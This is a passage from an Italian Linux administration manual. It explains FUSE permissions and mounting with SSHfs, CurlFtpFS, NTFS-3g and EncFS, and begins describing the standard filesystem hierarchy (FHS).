
Per la gestione di FUSE si utilizza il programma '**`fusermount`**', che deve essere installato.

I permessi del programma '**`fusermount`**', assieme a quelli del file di dispositivo '`/dev/fuse`', condizionano la facoltà degli utenti di innestare i file system compatibili con FUSE. Di norma, i permessi potrebbero essere 4750_8, appartenendo all'utente '**`root`**' e al gruppo '**`fuse`**':

```
# ls -l /usr/bin/fusermount [Invio]

  -rwsr-x--- 1 root fuse … /usr/bin/fusermount
```

In questo modo, solo l'utente '**root**' e gli utenti associati al gruppo '**fuse**' possono eseguire gli innesti. Eventualmente, per consentire a tutti di agire in tal modo, basta aggiungere i permessi di lettura e di esecuzione al programma:

```
# chmod a+rx /usr/bin/fusermount [Invio]

# ls -l /usr/bin/fusermount [Invio]

  -rwsr-xr-x 1 root fuse … /usr/bin/fusermount
```

Inoltre, sempre per consentire a tutti gli utenti di innestare un file system, occorre dare al file di dispositivo '/dev/fuse' i permessi di lettura e scrittura per tutti:

```
# chmod a+rw /dev/fuse [Invio]

# ls -l /dev/fuse [Invio]

  crw-rw-rw- 1 root fuse 10, 229 … /dev/fuse
```

21.11.2 Limiti di accesso

Quando si innesta un file system attraverso FUSE, viene sempre usato il programma '**fusermount**', anche se non in modo diretto. Pertanto, come descritto nella sezione precedente, i permessi di questo programma, assieme a quelli del file di dispositivo '/dev/fuse', possono limitare agli utenti la facoltà di eseguire tali innesti. Tuttavia, una volta eseguito un innesto, in condizioni normali solo l'utente che lo ha eseguito può accedere alla gerarchia che si articola a partire da quel punto (dalla directory che costituisce il punto di innesto), escludendo anche l'utente '**root**'.

Se il file system che si va a gestire con FUSE, contiene informazioni riconducibili a utenze, permessi ed eventualmente numeri inode, possono essere utili delle opzioni di innesto, per far sì che gli accessi siano gestiti in modo più o meno usuale. Sotto vengono elencate le opzioni più comuni, ma dipende dal programma frontale usato il modo in cui vi si fa riferimento effettivamente.

Tabella 21.125. Alcune opzioni comuni relative all'innesto di un file system con FUSE.

Opzione	Descrizione
`allow_root`	Si consente l'accesso all'utente '**root**' con tutti i suoi privilegi.
`allow_other`	Si consente l'accesso anche agli altri utenti.
`default_permissions`	Si considerano i permessi dei file nel modo consueto.
`use_ino`	Abilita l'uso dei numeri inode.

Si osservi che, in generale, l'utente comune non può usare l'opzione '**allow_other**', a meno

di inserire la direttiva '**`user_allow_other`**' nel file '`/etc/fuse.conf`':

```
...
user_allow_other
...
```

Inoltre, è evidente che un utente comune che innesta un file system con FUSE, volendo attribuire le opzioni '**`allow_other`**' e '**`default_permissions`**', permette sì agli altri utenti di accedere in base ai permessi esistenti, ma i file che vengono creati (ammesso che ci siano tali permessi), appartengono generalmente a un utente prestabilito, che di solito coincide con quello che ha eseguito l'innesto. Infatti, non si deve dimenticare che l'accesso al file system avviene tramite un programma, che generalmente funziona con i privilegi di quel tale utente. Pertanto, le opzioni '**`allow_other`**' e '**`default_permissions`**' sono più utili quando chi esegue l'innesto è proprio l'utente '**`root`**'.

Figura 21.127. Schema intuitivo dell'interazione tra i vari componenti del sistema di FUSE.

Esempi di programmi frontali per i file system che si innestano attraverso FUSE sono SSHfs e EncFS.

21.11.3 Innesto e distacco

In condizioni normali, l'innesto di un file system per il sistema di FUSE, avviene attraverso l'uso diretto del programma frontale che lo gestisce. Di solito si usa uno schema simile a quello seguente:

```
xyz risorsa punto_di_innesto
```

Qui, *xyz* rappresenta il programma frontale ipotetico '**xyz**' (probabilmente '/usr/bin/xyz'). Per esempio, attraverso '**sshfs**', si potrebbe innestare la risorsa '**brot.dg:/home**' nella directory '/home/', con il comando seguente:

`#` **`sshfs brot.dg:/home /home`** [*Invio*]

Quando il contesto lo consente e quando il programma frontale è stato realizzato con cura, è possibile eseguire l'innesto in modo trasparente, lasciando a '**mount**' il compito di avviare il programma frontale appropriato:

```
mount -t fuse xyz#risorsa punto_di_innesto
```

L'unico svantaggio di questo approccio sta nella necessità di avere i privilegi dell'utente '**root**'. Ecco in che modo si trasforma l'esempio riferito a '**sshfs**':

`#` **`mount -t fuse sshfs#brot.dg:/home /home`** [*Invio*]

Il fatto di poter usare direttamente il comando '**mount**', consente anche di inserire tali informazioni nel file '/etc/fstab':

```
xyz#risorsa punto_di_innesto fuse opzioni 0 0
```

Sempre riutilizzando l'esempio con '**sshfs**':

```
...
sshfs#brot.dg:/home    /home    fuse    defaults    0   0
...
```

Per staccare invece un file system gestito attraverso FUSE, di norma si usa '**fusermount**' con l'opzione '**-u**':

```
fusermount -u punto_di_innesto
```

Naturalmente si può usare anche '**umount**' nel modo consueto, ma in tal caso, di norma occorre avere i privilegi dell'utente '**root**':

```
umount punto_di_innesto
```

21.11.4 SSHfs

Attraverso il pacchetto SSHfs[49] è possibile accedere a un servizio SSH, come se fosse un file system «normale», tramite FUSE.

La lettura di questo capitolo richiede la conoscenza del funzionamento di OpenSSH (sezione 49.7), oltre che di nozioni elementari sull'uso delle reti TCP/IP (capitolo 38).

21.11.4.1 Utilizzo di SSHfs

Se FUSE è attivo e il pacchetto SSHfs è installato, si può innestare il file system di un altro elaboratore con un comando simile a questo:

$ **sshfs tizio@brot.dg:/home/tizio /home/tizio/home_remota** [*Invio*]

tizio@brot.dg's password: ***digitazione_all'oscuro*** [*Invio*]

In questo caso ci si vuole collegare presso l'elaboratore *brot.dg*, in qualità di utente '**tizio**', per innestare la directory remota '/home/tizio/' all'interno della directory locale '/home/tizio/home_remota'. Ma la stessa cosa si potrebbe ottenere in modo più generalizzato così, a parte il fatto che in questo modo sono necessari i privilegi dell'utente '**root**':

\# **mount -t fuse sshfs#tizio@brot.dg:/home/tizio** ←┘
↪ **/home/tizio/home_remota** [*Invio*]

tizio@brot.dg's password: ***digitazione_all'oscuro*** [*Invio*]

Naturalmente si può predisporre anche il file '/etc/fstab' in modo da facilitare l'innesto di tale file system:

```
...
sshfs#tizio@brot.dg:/home/tizio  /home/tizio/home_remota  fuse defaults,user 0 0
...
```

Per staccare un file system SSHfs si può usare '**fusermount**', oppure il solito '**umount**'. Seguendo l'esempio già apparso, si possono usare, indifferentemente, i comandi seguenti:

$ **fusermount -u /home/tizio/home_remota** [*Invio*]

Oppure:

$ **umount /home/tizio/home_remota** [*Invio*]

21.11.4.2 Estendere le facoltà di accesso

Ammesso che si voglia agire in questo modo, per far sì che l'accesso al file system innestato avvenga secondo le modalità consuete, senza escludere gli altri utenti e considerando i permessi dei file, possono essere utili alcune opzioni della tabella 21.125. Pertanto, i comandi per l'innesto andrebbero cambiati secondo gli esempi seguenti:

$ **sshfs tizio@brot.dg:/home/tizio /home/tizio/home_remota** ←┘
↪ **-o allow_other,default_permissions** [*Invio*]

Oppure:

```
# mount -o allow_other,default_permissions -t fuse ↩
↪      sshfs#tizio@brot.dg:/home/tizio ↩
↪      /home/tizio/home_remota [Invio]
```

Inoltre, il contenuto del file '/etc/fstab' potrebbe essere modificato nel modo seguente:

```
…
sshfs#tizio@brot.dg:/home/tizio  /home/tizio/home_remota  fuse  ↩
↪defaults,user,allow_other,default_permissions  0  0
…
```

Ci sono comunque altre opzioni che possono essere importanti, soprattutto per ciò che riguarda la connessione SSH; si veda al riguardo la pagina di manuale *sshfs(1)*.

21.11.5 CurlFtpFS

Attraverso il pacchetto CurlFtpFS[50] è possibile accedere a un servizio FTP, come se fosse un file system «normale», tramite FUSE.

La lettura di questo capitolo richiede la conoscenza di ciò che è un servizio FTP per il trasferimento dei file attraverso la rete (capitolo 44), oltre che di nozioni elementari sull'uso delle reti TCP/IP (capitolo 38).

21.11.5.1 Configurazione

Lo standard dei programmi clienti FTP prevede che si utilizzi il file '~/.netrc' per la configurazione, soprattutto allo scopo di accelerare il procedimento di accesso. Nel caso di CurlFtpFS è indispensabile la predisposizione di tale file, perché non è prevista la possibilità di fornire una parola d'ordine in modo interattivo.[51]

Il file '~/.netrc' contiene delle direttive molto semplici, a gruppi, introdotti dalla direttiva '**machine**', che definisce a quale collegamento ci si vuole riferire.

Tabella 21.131. Alcune direttive.

Direttiva	Descrizione
machine ***nome***	Il nome del nodo di rete a cui fanno riferimento le direttive successive.
default	Sostituisce la direttiva '**machine**' e rappresenta la configurazione predefinita per tutti i nodi di rete remoti non previsti in modo specifico all'interno di questo file.
login ***utente***	Definisce il nominativo da utilizzare per il collegamento.
password ***stringa_parola_d'ordine***	Definisce la parola d'ordine per l'accesso al sistema remoto.

Per esempio, l'estratto seguente si riferisce agli accessi all'elaboratore *brot.dg*:

```
…
machine brot.dg
login daniele
password segretissima
…
```

In tal modo, l'utente che inserisce queste direttive nel proprio file '`~/.netrc`', chiarisce che l'accesso all'elaboratore *`brot.dg`* deve avvenire identificandosi come utente '**`daniele`**' e usando la parola d'ordine '**`segretissima`**'.

21.11.5.2 Utilizzo normale di CurlFtpFS

Se FUSE è attivo e il pacchetto CurlFtpFS è installato, si può innestare quanto viene offerto tramite un servizio FTP presso un altro elaboratore con un comando simile a questo:

$ **`curlftpfs ftp://brot.dg/aaa/bbb /home/tizio/bbb`** [*Invio*]

In questo caso, l'utente che esegue il comando accede al servizio FTP presso *`brot.dg`*, autenticandosi in base alla propria configurazione nel file '`~/.netrc`', innestando ciò che quel servizio gli offre a partire dal percorso '`/aaa/bbb/`', nella directory locale '`/home/tizio/bbb/`'.

In modo analogo, l'utente '**`root`**' potrebbe utilizzare direttamente il comando '**`mount`**':

`mount -t fuse curlftpfs#brot.dg:/ccc/ddd /mnt/ddd` [*Invio*]

Si può predisporre anche il file '`/etc/fstab`' in modo da facilitare l'innesto di tale file system:

```
…
curlftpfs#brot.dg:/ccc/ddd  /mnt/ddd  fuse defaults,user 0 0
…
```

In tal caso, però, occorre osservare che, l'accesso viene eseguito in qualità di utente anonimo ('**`anonymous`**'), in quanto non viene presa in considerazione alcuna configurazione.

Per staccare un file system CurlFtpFS si può usare '**`fusermount`**', oppure il solito '**`umount`**'. Nel caso di innesto eseguito da un utente comune, si può usare solo '**`fusermount`**':

$ **`fusermount -u /home/tizio/bbb`** [*Invio*]

Quando invece si tratta dell'utente '**`root`**', si può utilizzare anche '**`umount`**':

`umount /mnt/ddd` [*Invio*]

Naturalmente gli esempi mostrati fanno riferimento a quanto già apparso in precedenza.

21.11.5.3 Estendere le facoltà di accesso

Quando si vuole gestire l'accesso a un servizio FTP, tramite CurlFtpFS, ma configurando il file '/etc/fstab', rendendolo anche disponibile agli utenti comuni, è probabile che si voglia consentire l'accesso ai dati innestati a tutti gli utenti. In tal caso torna utile l'opzione '**allow_other**' di FUSE (tabella 21.125):

```
…
curlftpfs#brot.dg:/ccc/ddd  /mnt/ddd  fuse defaults,user,allow_other 0 0
…
```

Naturalmente, con '**curlftpfs**' si può usare l'opzione '**-o allow_other**' nella riga di comando per ottenere lo stesso effetto:

$ **curlftpfs -o allow_other ftp://brot.dg/aaa/bbb /home/tizio/bbb** [*Invio*]

21.11.5.4 Altre opzioni

CurlFtpFS consente di accedere a servizi FTP cifrati. Per queste cose occorre predisporre delle chiavi e utilizzare opzioni apposite. Si veda eventualmente *curlftpfs(1)*.

21.11.6 NTFSprogs e NTFS-3g

Attraverso il pacchetto NTFSprogs[52] è possibile creare e accedere a un file system NTFS. In particolare, con il programma '**ntfsmount**' che si avvale di FUSE, è possibile innestare un tale file system per utilizzarlo in modo quasi «normale».

Notoriamente l'accesso a un file system NTFS è problematico, tanto che di solito, le funzionalità disponibili in un kernel Linux sono limitate alla lettura ed eventualmente alla sovrascrittura di file già esistenti. Con '**ntfsmount**' si superano molti di questi problemi, anche se non sempre le operazioni di accesso richieste possono essere eseguite effettivamente; ma in ogni caso, l'impossibilità di eseguire una certa operazione, non mette in crisi il sistema operativo nel suo complesso e non comporta un danneggiamento del file system NTFS coinvolto.

Eventualmente, per il solo innesto si può utilizzare un altro applicativo derivato, che offre più possibilità di accesso: NTFS-3g[53], che si utilizza attraverso il programma '**ntfs-3g**', in modo abbastanza simile a '**ntfsmount**'.

21.11.6.1 Innesto di un file system NTFS

Se FUSE è attivo e il pacchetto NTFSprogs è installato, si può innestare un'unità di memorizzazione contenente un file system NTFS con un comando simile a questo:

$ **ntfsmount /dev/sda1 /home/tizio/penna** [*Invio*]

In alternativa, con NTFS-3g si può fare così:

$ **ntfs-3g /dev/sda1 /home/tizio/penna** [*Invio*]

In questo caso, l'utente che esegue il comando innesta il file system NTFS contenuto nell'unità corrispondente al file di dispositivo '/dev/sda1', a partire dalla directory '/home/tizio/penna/'.

In modo analogo, l'utente '**root**' potrebbe utilizzare direttamente il comando '**mount**'; in questo caso l'innesto viene fatto utilizzando la directory '/mnt/sda1/':

mount -t fuse ntfsmount#/dev/sda1 /mnt/sda1 [*Invio*]

Oppure:

mount -t fuse ntfs-3g#/dev/sda1 /mnt/sda1 [*Invio*]

Si può predisporre anche il file '/etc/fstab' in modo da facilitare l'innesto di tale file system:

```
...
ntfsmount#/dev/sda1  /mnt/sda1  fuse defaults,user,noauto 0 0
...
```

Oppure:

```
...
ntfs-3g#/dev/sda1  /mnt/sda1  fuse defaults,user,noauto 0 0
...
```

In tal caso, però, considerato che si vuole concedere l'innesto agli utenti comuni, potrebbe essere necessario offrire i permessi di scrittura a tutti gli utenti per l'accesso alla directory '/mnt/sda1/'.

Per staccare un file system NTFS che precedentemente è stato innestato con '**ntfsmount**' o '**ntfs-3g**', si utilizza normalmente '**fusermount**':

$ **fusermount -u /home/tizio/penna** [*Invio*]

Quando invece si tratta dell'utente '**root**', si può utilizzare anche '**umount**':

umount /mnt/sda1 [*Invio*]

21.11.6.2 Opzioni

Se l'innesto del file system NTFS avviene senza indicare opzioni particolari, i file e le directory al suo interno appaiono con i soli permessi per l'accesso da parte dell'utente che lo ha eseguito. A questo proposito può essere utile inserire le opzioni '**fmask**' e '**dmask**' per togliere meno permessi rispetto a quanto avviene invece in modo predefinito.

Tabella 21.137. Alcune opzioni particolari per '**ntfsmount**'.

Opzione	Descrizione
uid=***n*** gid=***n***	Queste due opzioni consentono di specificare l'utente e il gruppo (attraverso i numeri UID e GID) a cui devono figurare appartenere tutti i file e le directory contenuti nel file system.
fmask=***n*** dmask=***n***	Consentono di specificare la maschera dei permessi (da togliere), rispettivamente ai file e alle directory. Se queste opzioni non vengono usate, è come se venisse specificato '**fmask=0177**' e '**dmask=0077**', in modo da togliere tutti i permessi di accesso agli utenti che non sono il proprietario.

Oltre a quanto descritto a proposito dei permessi virtuali di file e directory, occorre considerare che, in modo predefinito, sono attive le opzioni '**default_permissions**' e '**allow_other**'. Tuttavia, il fatto che i permessi predefiniti non concedano l'accesso agli altri utenti, implica che, salvo indicazione diversa, solo l'utente '**root**' può eventualmente accedere in tali condizioni.

A titolo di esempio viene mostrato un estratto del file '/etc/fstab', nel quale si dichiara la possibilità di innestare il file system NTFS contenuto nell'unità corrispondente al file di dispositivo '/dev/hdc1':

```
...
ntfsmount#/dev/hdc1   /win   fuse   ↩
↪defaults,user,noauto,uid=0,gid=0,fmask=0111,dmask=0   0  0
...
```

Oppure:

```
...
ntfs-3g#/dev/hdc1   /win   fuse   ↩
↪defaults,user,noauto,uid=0,gid=0,fmask=0111,dmask=0   0  0
...
```

In questo caso, pur consentendo agli utenti comuni di eseguire l'innesto, si preferisce attribuire la proprietà di tutto all'utente '**root**', lasciando però a chiunque la possibilità di modificare il contenuto dei dati (in quanto con l'opzione '**fmask**' si tolgono ai file solo i permessi di esecuzione, mentre con l'opzione '**dmask**' non si toglie alcunché).

Per ottenere un effetto simile attraverso la riga di comando, occorrerebbe agire così:

`#` **`ntfsmount /dev/hdc /win -o uid=0,gid=0,fmask=0111,dmask=0`** [*Invio*]

Oppure:

`#` **`ntfs-3g /dev/hdc /win -o uid=0,gid=0,fmask=0111,dmask=0`** [*Invio*]

21.11.7 EncFS

EncFS[54] è un file system cifrato, basato su FUSE, la cui gestione è molto semplice e alla portata di tutti: a partire da una certa directory si collocano i file, che sono cifrati nel loro contenuto e nel loro nome, mentre le altre informazioni rimangono intatte. Per accedere ai dati originali in chiaro, la directory contenente la gerarchia cifrata viene reinnestata in corrispondenza di un'altra directory vuota, fornendo una parola d'ordine.

21.11.7.1 Un esempio per iniziare

L'utente '**tizio**' potrebbe decidere di utilizzare la directory '~/dati_cifrati/' per le proprie cose segrete. L'utente prepara tale directory, inizialmente vuota, quindi ne attiva la gestione attraverso il programma '**encfs**', ma per farlo deve reinnestarla contestualmente in un'altra directory vuota, per esempio '~/dati_in_chiaro/':

$ **mkdir ~/dati_cifrati** [*Invio*]

$ **mkdir ~/dati_in_chiaro** [*Invio*]

$ **encfs ~/dati_cifrati ~/dati_in_chiaro** [*Invio*]

Il programma vuole sapere che livello di sicurezza adottare, ma nella maggior parte delle situazioni è sufficiente quello predefinito:

```
Creating new encrypted volume.
Please choose from one of the following options:
 enter "x" for expert configuration mode,
 enter "p" for pre-configured paranoia mode,
 anything else, or an empty line will select standard mode.
```

?> [*Invio*]

```
Standard configuration selected.

Configuration finished.  The filesystem to be created has
the following properties:
Filesystem cipher: "ssl/blowfish", version 2:1:1
Filename encoding: "nameio/block", version 3:0:1
Key Size: 160 bits
Block Size: 512 bytes
Each file contains 8 byte header with unique IV data.
Filenames encoded using IV chaining mode.

Now you will need to enter a password for your filesystem.
You will need to remember this password, as there is absolutely
no recovery mechanism.  However, the password can be changed
later using encfsctl.
```

New Encfs Password: ***digitazione_all'oscuro*** [*Invio*]

`Verify Encfs Password:` ***digitazione_all'oscuro*** [*Invio*]

`$` **`mount`** [*Invio*]

```
…
encfs on /home/tizio/dati_in_chiaro type fuse ↩
↪(rw,nosuid,nodev,default_permissions,user=tizio)
…
```

Da questo momento, tutto quello che l'utente '**`tizio`**' fa nella directory '`~/dati_in_chiaro/`', si traduce in altrettanti file e directory cifrati nella directory '`~/dati_cifrati/`'.

Per concludere l'attività nei dati cifrati, si può staccare l'innesto che parte dalla directory '`~/dati_in_chiaro:`':

`$` **`fusermount -u ~/dati_in_chiaro`** [*Invio*]

La directory dedicata al contenimento dei dati cifrati, si distingue in quanto contiene il file '`.encfs`***n***'; pertanto, quando si utilizza nuovamente il programma '**`encfs`**' per innestarla altrove, il contenuto viene riconosciuto e reso disponibile in chiaro. Naturalmente, non è necessario che la directory cifrata venga innestata sempre nello stesso posto:

`$` **`mkdir /tmp/mia`** [*Invio*]

`$` **`encfs ~/dati_cifrati /tmp/mia`** [*Invio*]

`EncFS Password:` ***digitazione_all'oscuro*** [*Invio*]

`$` **`mount`** [*Invio*]

```
…
encfs on /tmp/mia type fuse ↩
↪(rw,nosuid,nodev,default_permissions,user=tizio)
…
```

È importante osservare che le directory vanno indicate al programma '**`encfs`**' con un percorso assoluto. Negli esempi è stata usata la tilde ('**`~`**') per fare riferimento a un percorso assoluto della directory personale dell'utente.

Benché possa essere considerato di scarsa utilità, è bene sapere che una stessa directory cifrata può essere innestata in chiaro su più directory differenti. Tali directory diventano equivalenti per ciò che riguarda il contenuto.

21.11.7.2 Cura nell'uso di EncFS

Dopo la creazione di qualche file nella directory cifrata (attraverso l'innesto in chiaro), si può dare un'occhiata al contenuto, facendo magari un confronto tra dati reali e dati cifrati:

$ **encfs ~/dati_cifrati ~/dati_in_chiaro** [*Invio*]

$ **tree -a ~/dati_in_chiaro** [*Invio*]

```
/home/tizio/dati_in_chiaro
|-- alfa
|   `-- charlie
`-- bravo

1 directory, 2 files
```

$ **tree -a ~/dati_cifrati** [*Invio*]

```
/home/tizio/dati_cifrati
|-- .encfs5
|-- N6rnhFLNx,cgB-
|   `-- dS,q8YPh64-h8,
`-- nuW8KJbRPh-Yn1

1 directory, 3 files
```

Se nella directory cifrata si inseriscono direttamente dei file (presumibilmente in chiaro), questi non vengono considerati; inoltre, è importante capire che se si cancella il file '`.encfs`***n***', si perde la possibilità di accedere ai dati.

Il contenuto della directory cifrata può essere trasferito o copiato, tale e quale, mantenendo la possibilità di accedervi poi attraverso il meccanismo del reinnesto in chiaro. In tal modo è possibile fare una copia di sicurezza dei dati, che rimangono cifrati nella copia.

21.11.7.3 Manutenzione di EncFS

Il programma '**`encfsctl`**' consente di ispezionare una directory cifrata e di cambiarne la parola d'ordine (purché si conosca quella precedente). Supponendo che la directory cifrata sia sempre '`~/dati_cifrati/`', ci si potrebbe chiedere di conoscerne le caratteristiche:

$ **encfsctl info ~/dati_cifrati** [*Invio*]

```
Version 5 configuration; created by EncFS 1.2.5 (revision 20040813)
Filesystem cipher: "ssl/blowfish", version 2:1:1
Filename encoding: "nameio/block", version 3:0:1
Key Size: 160 bits
Block Size: 512 bytes
Each file contains 8 byte header with unique IV data.
Filenames encoded using IV chaining mode.
```

Poi ci si potrebbe domandare se, per caso, ci sono file estranei, nel senso che non vengono riconosciuto dal sistema di cifratura:

$ **encfsctl showcruft ~/dati_cifrati** [*Invio*]

In tal caso diventa necessario l'inserimento della parola d'ordine:

EncFS Password: ***digitazione_all'oscuro*** [*Invio*]

```
11:37:04 (FileUtils.cpp:1296) useStdin: 0
11:37:05 (FileUtils.cpp:1307) configuration key size = 32
11:37:05 (FileUtils.cpp:1308) cipher key size = 32
Found 0 invalid files.
```

Quindi, come possibilità più importante, potrebbe essere necessario cambiare la parola d'ordine per l'accesso ai dati:

$ **encfsctl passwd ~/dati_cifrati** [*Invio*]

```
Enter current Encfs password
```

EncFS Password: ***digitazione_all'oscuro*** [*Invio*]

```
Enter new Encfs password
```

New EncFS Password: ***digitazione_all'oscuro*** [*Invio*]

Verify EncFS Password: ***digitazione_all'oscuro*** [*Invio*]

```
Volume Key successfully updated.
```

È interessante osservare che la parola d'ordine può essere cambiata anche mentre la directory è già innestata in chiaro da qualche parte, senza interferire con le attività normali di accesso. Ciò che cambia è solo il fatto che all'innesto successivo, deve essere fornita la parola d'ordine nuova.

21.11.7.4 Opzioni per facilitare l'accesso ai dati

Per consentire l'accesso ai dati in chiaro anche agli altri utenti, si usano notoriamente le opzioni '**allow_other**' e '**default_permissions**'. Con il programma '**encfs**' è possibile usare l'opzione '**--public**' per richiamare automaticamente queste opzioni di FUSE, ma in tal caso, '**encfs**' pretende che l'azione sia richiesta dall'utente '**root**':

$ **encfs --public ~/dati_cifrati ~/dati_in_chiaro** [*Invio*]

```
… option '--public' ignored for non-root user
```

Tuttavia, se la configurazione di FUSE lo consente, questa funzionalità può essere ottenuta ugualmente, con le limitazioni dovute al fatto che non è l'utente '**root**' a eseguire l'innesto:

$ **encfs ~/dati_cifrati ~/dati_in_chiaro --** ↩
↪ **-o allow_other,default_permissions** [*Invio*]

21.12 Gerarchia del file system

La struttura dei file system di ogni sistema operativo Unix è diversa da quella degli altri. Spesso, per mantenere la compatibilità con altri ambienti si utilizzano dei collegamenti simbolici. Con essi si può simulare la presenza di directory e file che in realtà non esistono dove si vuole fare sembrare che siano. La tecnica dell'uso di collegamenti simbolici può essere usata anche per personalizzare la struttura del proprio file system, facendo in modo però che i programmi normali continuino a trovare quello che serve loro, dove si aspettano che sia.

21.12.1 Organizzazione di una gerarchia

Quando si organizza un file system è importante distinguere tra diversi tipi di file:

- statici o variabili;
- condivisibili o non condivisibili;
- indispensabili per l'avvio del sistema o meno.

Ciò che è statico può essere reso accessibile in sola lettura (esecuzione compresa), mentre il resto deve essere accessibile necessariamente anche in scrittura. Ciò che è condivisibile può essere utilizzato da più elaboratori contemporaneamente, il resto no. Ciò che è indispensabile per l'avvio dell'elaboratore, non può, o comunque non dovrebbe essere collocato in file system remoti.

Purtroppo non è detto che la distinzione sia sempre netta.

21.12.2 File system standard

Nelle sezioni seguenti viene descritta la struttura essenziale (la gerarchia) di un file system standard, secondo il documento FHS (*Filesystem hierarchy standard*), a cui dovrebbero adeguarsi i sistemi GNU. Per maggiori dettagli e aggiornamenti si deve consultare l'originale all'indirizzo ⟨http://www.pathname.com/fhs/⟩.

21.12.2.1 Directory «/»: la radice

La directory radice è quella che contiene tutte le altre. Di solito contiene solo directory con l'unica eccezione del file del kernel che può risiedere qui o in '`/boot/`'. La struttura che si dirama dalla directory radice può essere riassunta dall'elenco seguente:

Directory	Descrizione
`/bin/`	binari essenziali;
`/boot/`	file statici per l'avvio del sistema;
`/dev/`	file di dispositivo;
`/etc/`	configurazione particolare del sistema;
`/home/`	directory personali degli utenti;

Directory	Descrizione
`/lib/`	librerie essenziali e moduli del kernel;
`/mnt/`	punto di innesto temporaneo;
`/opt/`	applicativi aggiuntivi;
`/root/`	directory personale dell'utente '**`root`**';
`/tmp/`	file e directory temporanei;
`/usr/`	gerarchia secondaria;
`/var/`	dati variabili.

Nel caso particolare dei sistemi GNU/Linux si devono aggiungere le directory '`/proc/`' e '`/sys/`' che contengono informazioni vitali prodotte dal kernel.

21.12.2.2 Directory «/bin/» e «/sbin/»: binari essenziali

La directory '`/bin/`' contiene gli eseguibili di uso comune più importanti. I file al suo interno sono generalmente accessibili in esecuzione a tutti gli utenti. La directory '`/sbin/`' contiene eseguibili allo stesso livello di importanza di '`/bin/`', ma il cui utilizzo è generalmente di competenza dall'utente '**`root`**'.

La distinzione non è dovuta tanto a motivi di sicurezza, quanto all'esigenza di mettere un po' di ordine tra gli eseguibili. Infatti, i file contenuti in '`/sbin/`' sono generalmente accessibili anche agli utenti comuni (purché i permessi di questi file non siano stati modificati per esigenze particolari), ma questa directory non viene inclusa nell'elenco dei percorsi degli eseguibili (variabile ***PATH***) degli utenti.

La directory '`/bin/`', in particolare, dovrebbe contenere una shell compatibile con quella di Bourne e una compatibile con la shell C.

21.12.2.3 Directory «/boot/»: file statici per l'avvio del sistema

La directory '`/boot/`' contiene i file utilizzati dal meccanismo di caricamento del sistema operativo (*boot*). In particolare può contenere il kernel quando questo non si trova nella directory radice.

Negli elaboratori x86 è generalmente necessario che i file contenuti in questa directory, kernel e disco RAM iniziale inclusi, siano collocati entro il 1024-esimo cilindro. Inoltre, il sistema di avvio può richiedere di risiedere in un file system diverso da quello usato per il sistema operativo. Pertanto, è opportuno che il contenuto della directory '`/boot/`' risieda effettivamente in una partizione iniziale dell'unità di memorizzazione, dedicata allo scopo.

21.12.2.4 Directory «/dev/»: file di dispositivo

La directory '/dev/' contiene una lunga serie di file di dispositivo. Perché i vari componenti fisici dell'elaboratore possano funzionare, occorre che per ognuno di essi sia stato previsto il file di dispositivo relativo, in questa directory. Spesso, quando si vuole utilizzare un nome predefinito per un dispositivo, si utilizza un collegamento simbolico che punta a quello che serve effettivamente.

Regolando opportunamente i permessi di questi file si controlla l'utilizzo diretto delle unità fisiche da parte degli utenti.

All'interno di questa directory è contenuto il programma '**MAKEDEV**' (di solito si tratta di uno script) utile per ricreare o aggiungere eventuali file di dispositivo mancanti, rispettando le convenzioni del sistema che si utilizza; inoltre, eventualmente, può contenere anche il programma '**MAKEDEV.local**' per la creazione di file di dispositivo particolari, per uso locale.

21.12.2.5 Directory «/etc/»: configurazione particolare del sistema

La directory '/etc/' contiene una lunga serie di file di configurazione, raccolti eventualmente anche in sottodirectory, che riguardano l'intero sistema e che non possono essere condivisi con altri. Alcune di queste sottodirectory sono molto importanti, in particolare quelle descritte nell'elenco seguente:

Directory	Descrizione
/etc/X11/	contiene la configurazione per il sistema grafico X, assieme a quella dei gestori di finestre;
/etc/opt/***applicativo***/	contiene la configurazione specifica di programmi inseriti all'interno della gerarchia '/opt/';
/etc/sgml/	contiene la configurazione di SGML;
/etc/xml/	contiene la configurazione di XML.

Benché non sia riconosciuta nello standard FHS, nei sistemi GNU/Linux è molto importante anche la directory '/etc/skel/', per contenere i file di configurazione personale predefiniti per i nuovi utenti.

21.12.2.6 Directory «/home/»: directory personali degli utenti

La directory '/home/' è normalmente il punto di partenza per tutte le directory personali degli utenti. Se il sistema viene utilizzato da molti utenti, può essere conveniente (e a volte addirittura necessario) dirottare il contenuto di questa directory in un altro disco e di conseguenza in un file system secondario innestato in questo punto.

21.12.2.7 Directory «/lib/»: librerie condivise essenziali e moduli del kernel

La directory '`/lib/`' è il contenitore dei file di libreria (*library*) necessari per i programmi di uso generale. Devono trovarsi qui le librerie necessarie agli eseguibili che possono trovarsi in '`/bin/`' e '`/sbin/`'. Le librerie che riguardano solo programmi collocati al di sotto di '`/usr/`', non appartengono a questa directory.

Assieme ai file di libreria, potrebbe trovarsi una directory che si articola ulteriormente e contiene i moduli del kernel: '`modules/`'.

21.12.2.8 Directory «/mnt/»: punto di innesto per l'inserzione temporanea di altri file system

La directory '`/mnt/`' normalmente è vuota e serve come punto di collegamento generico per un altro file system.

> Spesso, la directory '`/mnt/`' è stata usata con altre sottodirectory, specifiche per il tipo di unità da innestare; per esempio: '`/mnt/cdrom/`', '`/mnt/floppy/`' e simili. Recentemente, per questo scopo, è stata introdotta la directory '`/media/`'.

21.12.2.9 Directory «/opt/»: applicativi aggiunti

La directory '`/opt/`' è il punto di partenza per l'installazione di applicativi addizionali. Tali applicativi dovrebbero risultare collocati ognuno in una propria sottodirectory, nella forma '`/opt/`***applicativo***`/`', ma in particolare dovrebbero contenere almeno la directory '`bin/`' ('`/opt/`***applicativo***`/bin/`') ed eventualmente anche '`man/`' ('`/opt/`***applicativo***`/man/`').

Quanto contenuto a partire dalla directory '`/opt/`' deve essere statico e quindi accessibile in sola lettura, per cui, i file variabili di questi applicativi devono trovarsi all'interno di '`/var/opt/`***applicativo***`/`' e i file di configurazione in '`/etc/opt/`***applicativo***`/`'.

21.12.2.10 Directory «/proc/» e «/sys/»: informazioni vitali sul kernel e sui processi

Le directory '`/proc/`' e '`/sys/`' sono vuote e utilizzate per innestare i file system omonimi nei sistemi GNU/Linux. I file (e le directory) contenuti in questi file system virtuali sono indispensabili ai programmi che hanno la necessità di accedere alle informazioni sul sistema.

> Quando si esegue una copia di sicurezza di tutto il file system, queste directory non devono essere archiviate; infatti, è sufficiente ricrearle vuote al momento del recupero, con i soli permessi di lettura e attraversamento: 0555_8.

